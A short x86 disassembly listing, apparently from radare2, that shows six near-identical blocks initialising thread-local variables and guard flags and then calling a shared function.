mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x20c], 1
mov byte [eax + 0x208], 1
mov word [eax + 0x206], 0x745b
push 0x405780
call fcn.00405999
add esp, 4
jmp 0x40483a
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x21c], 1
mov byte [eax + 0x218], 1
movsd xmm0, qword [0x445300]
movsd qword [eax + 0x210], xmm0
push 0x4057a0
call fcn.00405999
add esp, 4
jmp 0x404b4c
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x22c], 1
mov byte [eax + 0x228], 1
movsd xmm0, qword [0x445310]
movsd qword [eax + 0x220], xmm0
push 0x4057d0
call fcn.00405999
add esp, 4
jmp 0x404ba6
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x23c], 1
mov byte [eax + 0x238], 1
movsd xmm0, qword [0x445320]
movsd qword [eax + 0x230], xmm0
push 0x405800
call fcn.00405999
add esp, 4
jmp 0x404c00
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x24c], 1
mov byte [eax + 0x248], 1
movsd xmm0, qword [0x445330]
movsd qword [eax + 0x240], xmm0
push 0x405830
call fcn.00405999
add esp, 4
jmp 0x404c60
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x25c], 1
mov byte [eax + 0x258], 1
movsd xmm0, qword [0x445330]
movsd qword [eax + 0x250], xmm0
push 0x405860
call fcn.00405999
add esp, 4
jmp 0x404da5